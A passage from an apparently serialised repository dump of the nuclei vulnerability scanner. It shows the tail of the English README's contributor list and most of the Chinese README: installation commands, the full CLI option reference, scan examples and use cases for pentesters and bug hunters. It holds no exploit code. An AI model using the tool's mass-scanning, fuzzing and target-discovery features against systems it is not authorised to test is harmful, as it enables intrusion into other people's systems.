src=\"https://avatars.githubusercontent.com/u/110003596?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/Jarnpher553\"><img src=\"https://avatars.githubusercontent.com/u/10233873?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/c-f\"><img src=\"https://avatars.githubusercontent.com/u/35263248?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/hanghuge\"><img src=\"https://avatars.githubusercontent.com/u/166206050?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/testwill\"><img src=\"https://avatars.githubusercontent.com/u/8717479?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/galoget\"><img src=\"https://avatars.githubusercontent.com/u/8353133?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/fudancoder\"><img src=\"https://avatars.githubusercontent.com/u/171416994?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/revolunet\"><img src=\"https://avatars.githubusercontent.com/u/124937?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/jsoref\"><img src=\"https://avatars.githubusercontent.com/u/2119212?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/MachadoOtto\"><img src=\"https://avatars.githubusercontent.com/u/93268441?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/jonathanwalker\"><img src=\"https://avatars.githubusercontent.com/u/14978093?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/nHurD\"><img src=\"https://avatars.githubusercontent.com/u/233374?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/jessekelly881\"><img src=\"https://avatars.githubusercontent.com/u/22938931?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/JaneX8\"><img src=\"https://avatars.githubusercontent.com/u/5116641?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/eltociear\"><img src=\"https://avatars.githubusercontent.com/u/22633385?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/atomiczsec\"><img src=\"https://avatars.githubusercontent.com/u/75549184?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/M-Faheem-Khan\"><img src=\"https://avatars.githubusercontent.com/u/17150767?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/denandz\"><img src=\"https://avatars.githubusercontent.com/u/5291556?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/tibbon\"><img src=\"https://avatars.githubusercontent.com/u/82880?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/dany74q\"><img src=\"https://avatars.githubusercontent.com/u/2129762?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/0x123456789\"><img src=\"https://avatars.githubusercontent.com/u/36066426?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/danigoland\"><img src=\"https://avatars.githubusercontent.com/u/15079567?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/ChrisMandich\"><img src=\"https://avatars.githubusercontent.com/u/14286797?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/austintraver\"><img src=\"https://avatars.githubusercontent.com/u/25112463?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/socialsister\"><img src=\"https://avatars.githubusercontent.com/u/155628741?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/Anemys\"><img src=\"https://avatars.githubusercontent.com/u/51196227?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/andreangelucci\"><img src=\"https://avatars.githubusercontent.com/u/18552197?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/AlexS778\"><img src=\"https://avatars.githubusercontent.com/u/98418121?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/noraj\"><img src=\"https://avatars.githubusercontent.com/u/16578570?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/akkuman\"><img src=\"https://avatars.githubusercontent.com/u/7813511?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/zrquan\"><img src=\"https://avatars.githubusercontent.com/u/33086594?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/1efty\"><img src=\"https://avatars.githubusercontent.com/u/18194777?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/rsrdesarrollo\"><img src=\"https://avatars.githubusercontent.com/u/5142014?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/razin99\"><img src=\"https://avatars.githubusercontent.com/u/44442082?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/MetzinAround\"><img src=\"https://avatars.githubusercontent.com/u/65838556?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/vil02\"><img src=\"https://avatars.githubusercontent.com/u/65706193?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/mrschyte\"><img src=\"https://avatars.githubusercontent.com/u/8571?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/PeterDaveHello\"><img src=\"https://avatars.githubusercontent.com/u/3691490?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/parthmalhotra\"><img src=\"https://avatars.githubusercontent.com/u/28601533?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/owenrumney\"><img src=\"https://avatars.githubusercontent.com/u/3049157?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/Ovi3\"><img src=\"https://avatars.githubusercontent.com/u/29408109?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/Bisstocuz\"><img src=\"https://avatars.githubusercontent.com/u/42398278?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/daffainfo\"><img src=\"https://avatars.githubusercontent.com/u/36522826?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/mhmdiaa\"><img src=\"https://avatars.githubusercontent.com/u/19687798?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/MiryangJung\"><img src=\"https://avatars.githubusercontent.com/u/48237511?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/0xmin\"><img src=\"https://avatars.githubusercontent.com/u/44919834?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/maikthulhu\"><img src=\"https://avatars.githubusercontent.com/u/680830?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/sttlr\"><img src=\"https://avatars.githubusercontent.com/u/40246850?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/iamRjarpan\"><img src=\"https://avatars.githubusercontent.com/u/45498226?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/leoloobeek\"><img src=\"https://avatars.githubusercontent.com/u/8801754?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/KristinnVikar\"><img src=\"https://avatars.githubusercontent.com/u/93918469?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/kant01ne\"><img src=\"https://avatars.githubusercontent.com/u/5072452?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/KeisukeYamashita\"><img src=\"https://avatars.githubusercontent.com/u/23056537?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n<a href=\"https://github.com/1hehaq\"><img src=\"https://avatars.githubusercontent.com/u/162917546?v=4\" width=\"50\" height=\"50\" alt=\"\" style=\"max-width: 100%;\"></a>\n</p>\n\n<br>\n<br>\n<br>\n\n<div align=\"center\">\n  \n  <sub>**`nuclei`** is distributed under [**MIT License**](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)</sub>\n\n</div>\n"
  },
  {
    "path": "README_CN.md",
    "content": "<h1 align=\"center\">\n  <br>\n  <a href=\"https://nuclei.projectdiscovery.io\"><img src=\"static/nuclei-logo.png\" width=\"200px\" alt=\"Nuclei\"></a>\n</h1>\n\n<h4 align=\"center\">基于YAML语法模板的定制化快速漏洞扫描器</h4>\n\n\n<p align=\"center\">\n<img src=\"https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/releases\"><img src=\"https://img.shields.io/github/downloads/projectdiscovery/nuclei/total\">\n<a href=\"https://github.com/projectdiscovery/nuclei/graphs/contributors\"><img src=\"https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/releases/\"><img src=\"https://img.shields.io/github/release/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/issues\"><img src=\"https://img.shields.io/github/issues-raw/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/discussions\"><img src=\"https://img.shields.io/github/discussions/projectdiscovery/nuclei\">\n<a href=\"https://discord.gg/projectdiscovery\"><img src=\"https://img.shields.io/discord/695645237418131507.svg?logo=discord\"></a>\n<a href=\"https://twitter.com/pdnuclei\"><img src=\"https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter\"></a>\n</p>\n\n<p align=\"center\">\n  <a href=\"#工作流程\">工作流程</a> •\n  <a href=\"#安装Nuclei\">安装</a> •\n  <a href=\"#对于安全工程师\">对于安全工程师</a> •\n  <a href=\"#对于开发和组织\">对于开发者</a> •\n  <a href=\"https://nuclei.projectdiscovery.io/nuclei/get-started/\">文档</a> •\n  <a href=\"#致谢\">致谢</a> •\n  <a href=\"https://docs.projectdiscovery.io/tools/nuclei/faq\">常见问题</a> •\n  <a href=\"https://discord.gg/projectdiscovery\">加入Discord</a>\n</p>\n\n<p align=\"center\">\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README.md\">English</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md\">中文</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md\">Korean</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md\">Indonesia</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md\">Spanish</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md\">Portuguese</a>\n</p>\n\n---\n\nNuclei使用零误报的定制模板向目标发送请求，同时可以对主机进行批量快速扫描。Nuclei提供TCP、DNS、HTTP、FILE等各类协议的扫描，通过强大且灵活的模板，可以使用Nuclei模拟各种安全检查。\n\n我们的[模板仓库](https://github.com/projectdiscovery/nuclei-templates)包含**超过300名**安全研究员和工程师提供的模板。\n\n\n\n## 工作流程\n\n\n<h3 align=\"center\">\n  <img src=\"static/nuclei-flow.jpg\" alt=\"nuclei-flow\" width=\"700px\"></a>\n</h3>\n\n| :exclamation:  **免责声明**  |\n|---------------------------------|\n| **这个项目正在积极开发中**。预计发布会带来突破性的更改。更新前请查看版本更改日志。 |\n| 这个项目主要是为了作为一个独立的命令行工具而构建的。 **将Nuclei作为服务运行可能存在安全风险。** 强烈建议谨慎使用，并采取额外的安全措施。 |\n\n# 安装Nuclei\n\nNuclei需要 **go1.24.2** 才能安装成功。执行下列命令安装最新版本的Nuclei\n\n```sh\ngo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest\n```\n\n<details>\n  <summary>Brew</summary>\n  \n  ```sh\n  brew install nuclei\n  ```\n  \n</details>\n<details>\n  <summary>Docker</summary>\n  \n  ```sh\n  docker pull projectdiscovery/nuclei:latest\n  ```\n  \n</details>\n\n**更多的安装方式 [请点击此处](https://nuclei.projectdiscovery.io/nuclei/get-started/).**\n\n<table>\n<tr>\n<td>  \n\n### Nuclei模板\n\n自从[v2.5.2]((https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2))起，Nuclei就内置了自动下载和更新模板的功能。[**Nuclei模板**](https://github.com/projectdiscovery/nuclei-templates)仓库随时更新社区中可用的模板列表。\n\n您仍然可以随时使用`update-templates`命令更新模板，您可以根据[模板指南](https://nuclei.projectdiscovery.io/templating-guide/)为您的个人工作流和需求编写模板。\n\nYAML的语法规范在[这里](SYNTAX-REFERENCE.md)。\n\n</td>\n</tr>\n</table>\n\n### 用法\n\n```sh\nnuclei -h\n```\n\n这将显示Nuclei的帮助，以下是所有支持的命令。\n\n\n```console\nNuclei是一款注重于可配置性、可扩展性和易用性的基于模板的快速漏洞扫描器。\n\n用法：\n  nuclei [命令]\n\n命令：\n目标：\n   -u, -target string[]                  指定扫描的目标URL/主机（多个目标则指定多个-u参数）\n   -l, -list string                      指定包含要扫描的目标URL/主机列表的文件路径（一行一个）\n   -resume string                        从指定文件恢复扫描并保存到指定文件（将禁用请求聚类）\n   -sa, -scan-all-ips                    扫描由目标解析出来的所有IP（针对域名对应多个IP的情况）\n   -iv, -ip-version string[]             要扫描的主机名的IP版本（4,6）-（默认为4）\n\n模板：\n   -nt, -new-templates                    仅运行最新发布的nuclei模板\n   -ntv, -new-templates-version string[]  仅运行特定版本中添加的新模板\n   -as, -automatic-scan                   基于Wappalyzer技术的标签映射自动扫描\n   -t, -templates string[]                指定要运行的模板或者模板目录（以逗号分隔或目录形式）\n   -turl, -template-url string[]          指定要运行的模板URL或模板目录URL（以逗号分隔或目录形式）\n   -w, -workflows string[]                指定要运行的工作流或工作流目录（以逗号分隔或目录形式）\n   -wurl, -workflow-url string[]          指定要运行的工作流URL或工作流目录URL（以逗号分隔或目录形式）\n   -validate                              使用nuclei验证模板有效性\n   -nss, -no-strict-syntax                禁用对模板的严格检查\n   -td, -template-display                 显示模板内容\n   -tl                                    列出所有可用的模板\n   -sign                                  使用NUCLEI_SIGNATURE_PRIVATE_KEY环境变量中的私钥对模板进行签名\n   -code                                  启用加载基于协议的代码模板\n\n过滤：\n   -a, -author string[]                  执行指定作者的模板（逗号分隔，文件）\n   -tags string[]                        执行带指定tag的模板（逗号分隔，文件）\n   -etags, -exclude-tags string[]        排除带指定tag的模板（逗号分隔，文件）\n   -itags, -include-tags string[]        执行带有指定tag的模板，即使是被默认或者配置排除的模板\n   -id, -template-id string[]            执行指定id的模板（逗号分隔，文件）\n   -eid, -exclude-id string[]            排除指定id的模板（逗号分隔，文件）\n   -it, -include-templates string[]      执行指定模板，即使是被默认或配置排除的模板\n   -et, -exclude-templates string[]      排除指定模板或者模板目录（逗号分隔，文件）\n   -em, -exclude-matchers string[]       排除指定模板matcher\n   -s, -severity value[]                 根据严重程度运行模板，可选值有：info,low,medium,high,critical   \n   -es, -exclude-severity value[]        根据严重程度排除模板，可选值有：info,low,medium,high,critical\n   -pt, -type value[]                    根据类型运行模板，可选值有：dns, file, http, headless, network, workflow, ssl, websocket, whois\n   -ept, -exclude-type value[]           根据类型排除模板，可选值有：dns, file, http, headless, network, workflow, ssl, websocket, whois\n   -tc, -template-condition string[]     根据表达式运行模板\n   \n\n输出：\n   -o, -output string                    输出发现的问题到文件\n   -sresp, -store-resp                   将nuclei的所有请求和响应输出到目录\n   -srd, -store-resp-dir string          将nuclei的所有请求和响应输出到指定目录（默认：output）\n   -silent                               只显示结果\n   -nc, -no-color                        禁用输出内容着色（ANSI转义码）\n   -j, -jsonl                            输出格式为jsonL（ines）\n   -irr, -include-rr                     在JSON、JSONL和Markdown中输出请求/响应对（仅结果）[已弃用，使用-omit-raw替代]\n   -or, -omit-raw                        在JSON、JSONL和Markdown中不输出请求/响应对\n   -ot, -omit-template           省略JSON、JSONL输出中的编码模板\n   -nm, -no-meta                         在cli输出中不打印元数据\n   -ts, -timestamp                       在cli输出中打印时间戳\n   -rdb, -report-db string               本地的nuclei结果数据库（始终使用该数据库保存结果）\n   -ms, -matcher-status                  显示匹配失败状态\n   -me, -markdown-export string          以markdown格式导出结果\n   -se, -sarif-export string             以SARIF格式导出结果\n   -je, -json-export string              以JSON格式导出结果\n   -jle, -jsonl-export string            以JSONL(ine)格式导出结果\n\n\n配置：\n   -config string                        指定nuclei的配置文件\n   -fr, -follow-redirects                为HTTP模板启用重定向\n   -fhr, -follow-host-redirects          允许在同一主机上重定向\n   -mr, -max-redirects int               HTTP模板最大重定向次数（默认：10）\n   -dr, -disable-redirects               为HTTP模板禁用重定向\n   -rc, -report-config string            指定nuclei报告模板文件\n   -H, -header string[]                  指定在所有http请求中包含的自定义header、cookie，以header:value的格式指定（cli，文件）\n   -V, -var value                        以key=value格式自定义变量\n   -r, -resolvers string                 指定包含DNS解析服务列表的文件\n   -sr, -system-resolvers                当DNS错误时使用系统DNS解析服务\n   -dc, -disable-clustering              关闭请求聚类功能\n   -passive                              启用被动模式处理本地HTTP响应数据\n   -fh2, -force-http2                    强制使用http2连接\n   -ev, env-vars                         启用在模板中使用环境变量\n   -cc, -client-cert string              用于对扫描的主机进行身份验证的客户端证书文件（PEM 编码）\n   -ck, -client-key string               用于对扫描的主机进行身份验证的客户端密钥文件（PEM 编码）\n   -ca, -client-ca string                用于对扫描的主机进行身份验证的客户端证书颁发机构文件（PEM 编码）\n   -sml, -show-match-line                显示文件模板的匹配值，只适用于提取器\n   -ztls                                 使用ztls库，带有自动回退到标准库tls13 [已弃用] 默认情况下启用对ztls的自动回退\n   -sni string                           指定tls sni的主机名（默认为输入的域名）\n   -lfa, -allow-local-file-access        允许访问本地文件（payload文件）\n   -lna, -restrict-local-network-access  阻止对本地/私有网络的连接\n   -i, -interface string                 指定用于网络扫描的网卡\n   -at, -attack-type string              payload的组合模式（batteringram,pitchfork,clusterbomb）\n   -sip, -source-ip string               指定用于网络扫描的源IP\n   -rsr, -response-size-read int         最大读取响应大小（默认：10485760字节）\n   -rss, -response-size-save int         最大储存响应大小（默认：1048576字节）\n   -reset                                删除所有nuclei配置和数据文件（包括nuclei-templates）\n   -tlsi, -tls-impersonate               启用实验性的Client Hello（ja3）TLS 随机化功能\n\n\n交互：\n   -inserver, -ineractsh-server string   使用interactsh反连检测平台（默认为oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me）\n   -itoken, -interactsh-token string     指定反连检测平台的身份凭证\n   -interactions-cache-size int          指定保存在交互缓存中的请求数（默认：5000）\n   -interactions-eviction int            从缓存中删除请求前等待的时间（默认为60秒）\n   -interactions-poll-duration int       每个轮询前等待时间（默认为5秒）\n   -interactions-cooldown-period int     退出轮询前的等待时间（默认为5秒）\n   -ni, -no-interactsh                   禁用反连检测平台，同时排除基于反连检测的模板\n\n\n模糊测试:\n   -ft, -fuzzing-type string             覆盖模板中设置的模糊测试类型（replace、prefix、postfix、infix）\n   -fm, -fuzzing-mode string             覆盖模板中设置的模糊测试模式（multiple、single）\n\n\nUNCOVER引擎:\n   -uc, -uncover                         启动uncover引擎\n   -uq, -uncover-query string[]          uncover查询语句\n   -ue, -uncover-engine string[]         指定uncover查询引擎 （shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow） （默认 shodan）\n   -uf, -uncover-field string            查询字段 （ip,port,host） （默认 \"ip:port\"）\n   -ul, -uncover-limit int               查询结果数 （默认 100）\n   -ur, -uncover-ratelimit int           查询速率，默认每分钟60个请求（默认 60）\n\n\n限速：\n   -rl, -rate-limit int                  每秒最大请求量（默认：150）\n   -rlm, -rate-limit-minute int          每分钟最大请求量\n   -bs, -bulk-size int                   每个模板最大并行检测数（默认：25）\n   -c, -concurrency int                  并行执行的最大模板数量（默认：25）\n   -hbs, -headless-bulk-size int         每个模板并行运行的无头主机最大数量（默认：10）\n   -headc, -headless-concurrency int     并行指定无头主机最大数量（默认：10）\n   -tlc, -template-loading-concurrency int  最大并发模板加载操作数（默认：50）\n\n\n优化：\n   -timeout int                          超时时间（默认为10秒）\n   -retries int                          重试次数（默认：1）\n   -ldp, -leave-default-ports            指定HTTP/HTTPS默认端口（例如：host:80，host:443）\n   -mhe, -max-host-error int             某主机扫描失败次数，跳过该主机（默认：30）\n   -te, -track-error string[]            将给定错误添加到最大主机错误监视列表（标准、文件）\n   -nmhe, -no-mhe                        disable skipping host from scan based on errors\n   -project                              使用项目文件夹避免多次发送同一请求\n   -project-path string                  设置特定的项目文件夹\n   -spm, -stop-at-first-path             得到一个结果后停止（或许会中断模板和工作流的逻辑）\n   -stream                               流模式 - 在不整理输入的情况下详细描述\n   -ss, -scan-strategy value             扫描时使用的策略（auto/host-spray/template-spray） （默认 auto）\n   -irt, -input-read-timeout duration    输入读取超时时间（默认：3分钟）\n   -nh, -no-httpx                        禁用对非URL输入进行httpx探测\n   -no-stdin                             禁用标准输入\n\n无界面浏览器：\n    -headless                            启用需要无界面浏览器的模板\n    -page-timeout int                    在无界面下超时秒数（默认：20）\n    -sb, -show-brower                    在无界面浏览器运行模板时，显示浏览器\n    -ho, -headless-options string[]      使用附加选项启动无界面浏览器\n    -sc, -system-chrome                  不使用Nuclei自带的浏览器，使用本地浏览器\n    -cdpe, -cdp-endpoint string          通过Chrome DevTools Protocol (CDP)端点使用远程浏览器\n    -lha, -list-headless-action          列出可用的无界面操作\n\n调试：\n    -debug                               显示所有请求和响应\n    -dreq, -debug-req                    显示所有请求\n    -dresp, -debug-resp                  显示所有响应\n    -p, -proxy string[]                  使用http/socks5代理（逗号分隔，文件）\n    -pi, -proxy-internal                 代理所有请求\n    -ldf, -list-dsl-function             列出所有支持的DSL函数签名\n    -tlog, -trace-log string             写入跟踪日志到文件\n    -elog, -error-log string             写入错误日志到文件\n    -version                             显示版本信息\n    -hm, -hang-monitor                   启用对nuclei挂起协程的监控\n    -v, -verbose                         显示详细信息\n    -profile-mem string                  将Nuclei的内存转储成文件\n    -vv                                  显示额外的详细信息\n    -svd, -show-var-dump                 显示用于调试的变量输出\n    -ep, -enable-pprof                   启用pprof调试服务器\n    -tv, -templates-version              显示已安装的模板版本\n    -hc, -health-check                   运行诊断检查\n\n升级：\n    -up, -update                         更新Nuclei到最新版本\n    -ut, -update-templates               更新Nuclei模板到最新版\n    -ud, -update-template-dir string     指定模板目录\n    -duc, -disable-update-check          禁用nuclei程序与模板更新\n\n统计：\n    -stats                               显示正在扫描的统计信息\n    -sj, -stats-json                     将统计信息以JSONL格式输出到文件\n    -si, -stats-inerval int              显示统计信息更新的间隔秒数（默认：5）\n    -mp, -metrics-port int               更改metrics服务的端口（默认：9092）\n\n云服务：\n   -auth                  配置projectdiscovery云服务（pdcp）API密钥\n   -cup, -cloud-upload    将扫描结果上传到pdcp仪表板\n   -sid, -scan-id string  将扫描结果上传到指定的扫描ID\n\n例子:\n扫描一个单独的URL:\n\t$ nuclei -target example.com\n\n对URL运行指定的模板:\n\t$ nuclei -target example.com -t http/cves/ -t ssl\n\n扫描hosts.txt中的多个URL:\n\t$ nuclei -list hosts.txt\n\n输出结果为JSON格式:\n\t$ nuclei -target example.com -json-export output.json\n\n使用已排序的Markdown输出（使用环境变量）运行nuclei:\n\t$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/\n\n```\n\n更多信息请参考文档: https://docs.projectdiscovery.io/getting-started/running\n\n\n### 运行Nuclei\n\n使用[社区提供的模板](https://github.com/projectdiscovery/nuclei-templates)扫描单个目标\n\n```sh\nnuclei -u https://example.com\n```\n\n使用[社区提供的模板](https://github.com/projectdiscovery/nuclei-templates)扫描多个目标\n\n```sh\nnuclei -list urls.txt\n```\n\nExample of `urls.txt`:\n\n```yaml\nhttp://example.com\nhttp://app.example.com\nhttp://test.example.com\nhttp://uat.example.com\n```\n\n**更多关于Nuclei的详细实例可以在[这里](https://nuclei.projectdiscovery.io/nuclei/get-started/#running-nuclei)找到**\n\n# 对于安全工程师\n\nNuclei提供了大量有助于安全工程师在工作流定制相关的功能。通过各种扫描功能（如DNS、HTTP、TCP），安全工程师可以更轻松的使用Nuclei创建一套自定义的检查方式。\n\n- 支持多种协议：TCP、DNS、HTTP、FILE等\n- 通过工作流和动态请求实现复杂的漏洞扫描\n- 易于集成到CI/CD，旨在可以轻松的集成到周期扫描中，以主动检测漏洞的修复和重新出现\n\n<h1 align=\"left\">\n  <a href=\"https://nuclei.projectdiscovery.io/nuclei/get-started/\"><img src=\"static/learn-more-button.png\" width=\"170px\" alt=\"Learn More\"></a>\n</h1>\n\n<table>\n<tr>\n<td>  \n\n**对于赏金猎人：**\n\nNuclei允许您定制自己的测试方法，可以轻松的运行您的程序。此外Nuclei可以更容易的集成到您的漏洞扫描工作流中。\n\n- 可以集成到其他工作流中\n- 可以在几分钟处理上千台主机\n- 使用YAML语法定制自动化测试\n\n欢迎查看我们其他的开源项目，可能有适合您的赏金猎人工作流：[github.com/projectdiscovery](https://github.com/projectdiscovery)，我们还使用[Chaos绘制了每日的DNS数据](https://chaos.projectdiscovery.io)。\n\n</td>\n</tr>\n</table>\n\n<table>\n<tr>\n<td>\n\n**对于渗透测试：**\n\nNuclei通过增加手动、自动的过程，极大地改变了安全评估的方式。一些公司已经在用Nuclei升级他们的手动测试步骤，可以使用Nulcei对数千台主机使用同样的流程自动化测试。\n\n渗透测试员可以使用公共模板或者自定义模板来更快的完成渗透测试，特别是漏洞验证时，可以轻松的验证漏洞是否修复。\n\n- 轻松根据您的要求创建标准清单（例如：OWASP TOP 10）\n- 通过[FUZZ](https://nuclei.projectdiscovery.io/templating-guide/protocols/http-fuzzing/)和[工作流](https://nuclei.projectdiscovery.io/templating-guide/workflows/)等功能，可以使用Nuclei完成复杂的手动步骤和重复性渗透测试\n- 只需要重新运行Nuclei即可验证漏洞修复情况\n\n</td>\n</tr>\n</table>\n\n# 对于开发和组织\n\nNuclei构建很简单，通过数百名安全研究员的社区模板，Nuclei可以随时扫描来了解安全威胁。Nuclei通常用来用于复测，以确定漏洞是否被修复。\n\n- **CI/CD：** 工程师已经支持了CI/CD，可以通过Nuclei使用定制模板来监控模拟环境和生产环境\n- **周期性扫描：** 使用Nuclei创建新发现的漏洞模板，通过Nuclei可以周期性扫描消除漏洞\n\n我们有个[讨论组](https://github.com/projectdiscovery/nuclei-templates/discussions/693)，黑客提交自己的模板后可以获得赏金，这可以减少资产的漏洞，并且减少重复。如果你想实行该计划，可以[联系我](mailto:contact@projectdiscovery.io)。我们非常乐意提供帮助，或者在[讨论组](https://github.com/projectdiscovery/nuclei-templates/discussions/693)中发布相关信息。\n\n<h3 align=\"center\">\n  <img src=\"static/regression-with-nuclei.jpg\" alt=\"regression-cycle-with-nuclei\" width=\"1100px\"></a>\n</h3>\n\n<h1 align=\"left\">\n  <a href=\"https://github.com/projectdiscovery/nuclei-action\"><img src=\"static/learn-more-button.png\" width=\"170px\" alt=\"Learn More\"></a>\n</h1>\n\n### 将nuclei加入您的代码\n\n有关使用Nuclei作为Library/SDK的完整指南，请访问[godoc](https://pkg.go.dev/github.com/projectdiscovery/nuclei/v3/lib#section-readme)\n\n### 资源\n\n- [使用PinkDraconian发现Nuclei的BUG (Robbe Van Roey)](https://www.youtube.com/watch?v=ewP0xVPW-Pk) 作者：[@PinkDraconian](https://twitter.com/PinkDraconian)\n- [Nuclei: 强而有力的扫描器](https://bishopfox.com/blog/nuclei-vulnerability-scan) 作者：Bishopfox\n- [WAF有效性检查](https://www.fastly.com/blog/the-waf-efficacy-framework-measuring-the-effectiveness-of-your-waf) 作者：Fastly\n- [在CI/CD中使用Nuclei实时扫描网页应用](https://blog.escape.tech/devsecops-part-iii-scanning-live-web-applications/) 作者：[@TristanKalos](https://twitter.com/TristanKalos)\n- [使用Nuclei扫描](https://blog.projectdiscovery.io/community-powered-scanning-with-nuclei/)\n- [Nuclei Unleashed - 快速编写复杂漏洞](https://blog.projectdiscovery.io/nuclei-unleashed-quickly-write-complex-exploits/)\n- [Nuclei - 